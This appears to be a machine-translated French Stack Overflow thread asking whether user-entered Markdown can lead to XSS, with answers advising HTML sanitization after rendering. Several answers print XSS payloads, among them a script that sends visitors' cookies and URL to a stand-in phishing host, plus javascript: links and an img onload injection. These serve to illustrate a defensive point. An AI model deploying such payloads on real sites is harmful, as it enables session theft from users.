Question

Je travaille sur une application Web qui permet aux utilisateurs de saisir de brèves descriptions d'éléments dans un catalogue. J'autorise Markdown dans mes zones de texte afin que les utilisateurs puissent utiliser le formatage HTML.

Ma fonction de nettoyage de texte supprime toutes les balises de tout texte saisi avant de l'insérer dans la base de données:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

Essentiellement, tout ce que je stocke dans la base de données est Markdown - pas d'autre HTML, même " HTML de base " (comme ici à SO) est autorisé.

L’autorisation de démarquage présente-t-elle des menaces pour la sécurité? Le démarquage peut-il être effectué par XSS, même s’il n’a pas de balises?

Était-ce utile?

La solution

Je pense que supprimer toute balise HTML de l'entrée vous assurera quelque chose de très sécurisé - sauf si quelqu'un trouve un moyen d'injecter des données vraiment foirées dans Markdown, pour qu'elles génèrent des sorties encore plus fouillées ^^

Pourtant, voici deux choses qui me viennent à l’esprit:

Premier: strip_tags n’est pas une fonction miracle: il a quelques défauts ...
Par exemple, cela supprimera tout après le '<', dans une situation comme celle-ci:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

Le résultat obtenu est le suivant:

string '10 appels is ' (length=13)

Ce qui n’est pas très agréable pour vos utilisateurs : - (


Deuxième question : un jour ou l'autre, vous souhaiterez peut-être autoriser certains tags / attributs HTML. Ou encore, vous voudrez peut-être vous assurer que Markdown ne génère pas de balises / attributs HTML.

Vous pourriez être intéressé par quelque chose comme HTMLPurifier : il vous permet de spécifier les balises et attributs à conserver, et filtre une chaîne, de sorte qu'il ne reste que ceux-là.

Il génère également un code HTML valide, ce qui est toujours agréable ; -)

Autres conseils

Voici un bel exemple de la nécessité d'assainir le code HTML après, pas avant:

Code de démarque:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

Rendu sous la forme:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

Maintenant, êtes-vous inquiet?

La désinfection du code HTML résultant après le rendu du Markdown sera la plus sûre. Si vous ne le faites pas, je pense que les gens seraient capables d’exécuter du Javascript arbitraire dans Markdown comme ceci:

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown convertit cela en:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

Qui fait le travail. ... et ne pensez même pas à commencer à ajouter du code pour prendre en charge ces cas. Une désinfection correcte n’est pas facile, il suffit d’utiliser un bon outil et de l’appliquer après le rendu de votre Markdown en HTML.

  

Permettant le démarquage présentera-t-il   menaces de sécurité? Peut être démarqué   XSSed, même s’il n’a pas de tags?

Il est presque impossible de faire des déclarations absolues à cet égard - qui peut dire en quoi l’analyseur de démarques peut être piégé avec une entrée suffisamment malformée?

Cependant, le risque est probablement très faible car il s’agit d’une syntaxe relativement simple. Le javascript est l’angle d’attaque le plus évident: les URL dans les liens ou les images - ce que l’analyseur ne permet probablement pas, mais c’est quelque chose que j’aimerais vérifier.

Non. La façon dont vous utilisez Markdown n'est pas sécurisée. Markdown peut être utilisé en toute sécurité, mais vous devez l’utiliser correctement. Pour plus d'informations sur l'utilisation sécurisée de Markdown, consultez ici . Consultez le lien pour savoir comment l'utiliser en toute sécurité. La version courte est la suivante: il est important d'utiliser la version la plus récente, de définir safe_mode et de définir enable_attributes=False.

Le lien explique également pourquoi échapper à l'entrée puis appeler Markdown (comme vous le faites) n'est pas suffisant pour être sécurisé. Petit exemple: & Quot; [clickme](javascript:alert%28%22xss%22%29) & Quot;.

Le BBcode offre plus de sécurité parce que vous générez les tags.

< img src = & "; &"; onload = " javascript: alert (\ 'haha \'); " / >

Si < img > est autorisé, cela ira directement à travers strip_tags;) Bam!

Je suis d’accord avec Pascal MARTIN pour affirmer que la désinfection HTML est une meilleure approche. Si vous voulez le faire entièrement en JavaScript, je vous suggère de jeter un coup d'œil à la désinfection de google-caja bibliothèque ( code source ).

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top